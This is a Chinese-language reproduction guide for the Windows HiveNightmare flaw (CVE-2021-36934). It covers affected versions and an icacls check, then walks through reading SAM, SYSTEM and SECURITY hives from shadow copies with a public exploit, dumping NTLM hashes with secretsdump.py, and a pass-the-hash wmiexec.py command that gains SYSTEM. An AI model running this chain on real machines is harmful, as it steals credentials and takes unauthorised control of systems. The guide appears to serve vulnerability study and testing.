CVE-2021-36934
2021年7 月 20 日,微软确认了一个新的本地提权漏洞(CVE-2021-36934),被称为HiveNightmare。该漏洞由于Windows中多个系统文件的访问控制表(ACL)过于宽松,使得任何标准用户都可以从系统卷影副本中读取包括SAM、SYSETM、SECURITY在内的多个系统文件。拿到这几个文件之后就可以进行本地破解,拿到用户的NTLM hash进行PTH攻击或者直接本地爆破密码。
影响版本
Windows 10 Version 1809 以后的版本,包括win11
不影响 Windows Server 版本
漏洞利用条件
系统保护开启(默认开启)
系统中创建有还原点
系统保护在windows系统中默认启动,因此如果已创建还原点,那么标准用户可直接从卷影副本中访问SAM、SYSETM、SECURITY文件。这些文件路径如下
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
漏洞复现
复现使用系统Win10 12900H,登录账号为普通用户test
创建一个系统还原点
若系统中不曾创建过还原点,那么后面导出哈希时,ntlm哈希为31d6cfe0d16ae931b73c59d7e0c089c0,即为空值
检测是否存在漏洞
以标准用户(普通用户)执行以下命令
icacls C:\Windows\System32\config\SAM
如果输出 BUILTIN\Users:(I)(RX) 表示该系统易受攻击,如下
读取系统文件
EXP 地址为:https://github.com/GossiTheDog/HiveNightmare
直接运行HiveNightmare.exe程序,可以看到在低权限账号下,成功利用 CVE-2021–36934 读取到了 SAM、SECURITY、SYSTEM 三个文件。
获取目标用户hash
在获得 SAM、SECURITY、SYSTEM 文件后,我们就可以使用 secretsdump.py 获取目标用户的 hash了。
# python secretsdump.py -sam sam文件 -system system文件 -security security文件
python secretsdump.py -sam SAM-2023-01-30 -system SYSTEM-SAM-2023-01-30 -security SECURITY-2021-SAM-2023-01-30 LOCAL
得到用户的哈希值后,可以对其进行暴力破解,也可以直接使用本地管理员用户进行哈希传递,从而获取system权限。由于是在同一台计算机进行哈希传递,所以无需管理员关闭防火墙也能进行哈希传递
python wmiexec.py administrator@192.168.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:4142ea6b86c97a94caf82f7bc9144814